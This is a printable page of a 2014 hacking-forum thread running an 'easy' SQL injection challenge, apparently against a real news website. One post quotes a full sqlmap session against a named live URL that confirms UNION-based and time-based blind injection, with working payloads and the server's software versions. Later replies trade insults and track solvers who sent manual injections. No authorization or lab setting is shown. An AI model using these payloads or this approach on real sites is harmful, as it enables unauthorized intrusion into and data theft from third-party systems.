Sinisterly
[Challenge] SQLi Challenge [Easy] - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: [Challenge] SQLi Challenge [Easy] (/Thread-Challenge-SQLi-Challenge-Easy)

Pages: 1 2 3


RE: [Challenge] SQLi Challenge [Easy] - rootaccess - 04-30-2014

(04-30-2014, 12:08 PM)vegimite Wrote: Took a while but I got it in the end:
Spoiler:
Code:
antlers@honeypot:~/downloads/sqlmapproject-sqlmap-2e96e3c$ python sqlmap.py -u www.henleystandard.co.uk/news/news.php?id=1192222 sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 07:02:06 [07:02:06] [WARNING] using '/home/antlers/.sqlmap/output' as the output directory [07:02:07] [INFO] testing connection to the target URL [07:02:10] [INFO] heuristics detected web page charset 'ISO-8859-2' [07:02:10] [INFO] testing if the target URL is stable. This can take a couple of seconds [07:02:15] [INFO] target URL is stable [07:02:15] [INFO] testing if GET parameter 'id' is dynamic [07:02:18] [INFO] confirming that GET parameter 'id' is dynamic [07:02:23] [INFO] GET parameter 'id' is dynamic [07:02:23] [INFO] heuristics detected web page charset 'ascii' [07:02:23] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [07:02:23] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y do you want to include all tests for 'MySQL' extending provided level (1) and riY [07:02:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [07:02:42] [WARNING] reflective value(s) found and filtering out [07:02:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [07:02:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [07:03:07] [INFO] testing 'MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)' [07:03:15] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)' [07:03:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)' [07:03:18] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)' [07:03:19] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)' [07:03:21] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (original value)' [07:03:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - GROUP BY and ORDER BY clauses' [07:03:26] [INFO] testing 'MySQL < 5.0 boolean-based blind - GROUP BY and ORDER BY clauses' [07:03:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [07:03:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)' [07:03:35] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)' [07:03:39] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE or HAVING clause' [07:03:43] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE or HAVING clause' [07:03:48] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (EXTRACTVALUE)' [07:03:52] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE or HAVING clause (UPDATEXML)' [07:03:56] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause' [07:04:00] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause' [07:04:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [07:04:05] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [07:04:06] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [07:04:06] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses' [07:04:07] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (EXTRACTVALUE)' [07:04:08] [INFO] testing 'MySQL >= 5.1 error-based - GROUP BY and ORDER BY clauses (UPDATEXML)' [07:04:08] [INFO] testing 'MySQL inline queries' [07:04:09] [INFO] testing 'MySQL > 5.0.11 stacked queries' [07:04:09] [CRITICAL] there is considerable lagging in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [07:04:13] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [07:04:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [07:04:32] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based blind' injectable [07:04:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [07:04:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [07:04:49] [INFO] target URL appears to be UNION injectable with 12 columns [07:04:59] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [07:05:00] [WARNING] parameter length constraint mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection points with a total of 174 HTTP(s) requests: --- Place: GET Parameter: id Type: UNION query Title: MySQL UNION query (NULL) - 12 columns Payload: id=1192222 UNION ALL SELECT CONCAT(0x7173617871,0x42436144704a57725258,0x716a717571),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1192222 AND SLEEP(5) --- [07:05:06] [INFO] the back-end DBMS is MySQL web server operating system: Linux Red Hat Enterprise 5 (Tikanga) web application technology: Apache 2.2.3, PHP 5.1.6 back-end DBMS: MySQL 5.0.11 [07:05:06] [INFO] fetched data logged to text files under '/home/antlers/.sqlmap/output/www.henleystandard.co.uk' [*] shutting down at 07:05:06


GL to all contestants!

lol are u retarded ?
its a SQL injection challenge, and u use Sqlmap for it
lmao


RE: [Challenge] SQLi Challenge [Easy] - Dyme - 04-30-2014

(04-30-2014, 04:40 PM)rootaccess Wrote: lol are u retarded ?
its a SQL injection challenge, and u use Sqlmap for it
lmao

Pretty sure he was trolling. As a side note; I don't believe that something that can be done with a public tool alone deserves to be called a challenge.


RE: [Challenge] SQLi Challenge [Easy] - Adorapuff - 04-30-2014

(04-30-2014, 04:07 PM)Reiko Wrote: Why not post a challenge that's worth doing?

Implying he knows what a challenge worth doing is...


RE: [Challenge] SQLi Challenge [Easy] - Lotus Black - 04-30-2014

rootaccess & 3SidedSquare, solver list added. vegimite, you need to learn how to inject manually. Thanks.


RE: [Challenge] SQLi Challenge [Easy] - rootaccess - 04-30-2014

(04-30-2014, 06:24 PM)Lotus Black Wrote: rootaccess & 3SidedSquare, solver list added. vegimite, you need to learn how to inject manually. Thanks.

OMG THIS REIKO guy
- repped me

coz he thinks i used a automated tool for the injection WTF Stressed
i even sended u the pm, with my injection.


RE: [Challenge] SQLi Challenge [Easy] - Lotus Black - 04-30-2014

(04-30-2014, 06:53 PM)rootaccess Wrote: OMG THIS REIKO guy
- repped me

coz he thinks i used a automated tool for the injection WTF Stressed
i even sended u the pm, with my injection.

I see your injection query and added you in solvers list. Thanks.


RE: [Challenge] SQLi Challenge [Easy] - rootaccess - 04-30-2014

(04-30-2014, 07:11 PM)Lotus Black Wrote: I see your injection query and added you in solvers list. Thanks.

yes i know but this guy called
reiko - repped me
Because he thought i was the one using automated tools wtf..Sad


RE: [Challenge] SQLi Challenge [Easy] - Lotus Black - 04-30-2014

Calm down bro, don't be mind. It's ok.


RE: [Challenge] SQLi Challenge [Easy] - Crypt - 04-30-2014

(04-30-2014, 04:07 PM)Reiko Wrote: Why not post a challenge that's worth doing?

Agreed,
someone had to say it.


RE: [Challenge] SQLi Challenge [Easy] - rootaccess - 04-30-2014

well Crypt,
what other challenges, did u had in mind
or do u know off

the more knowledge the better Smile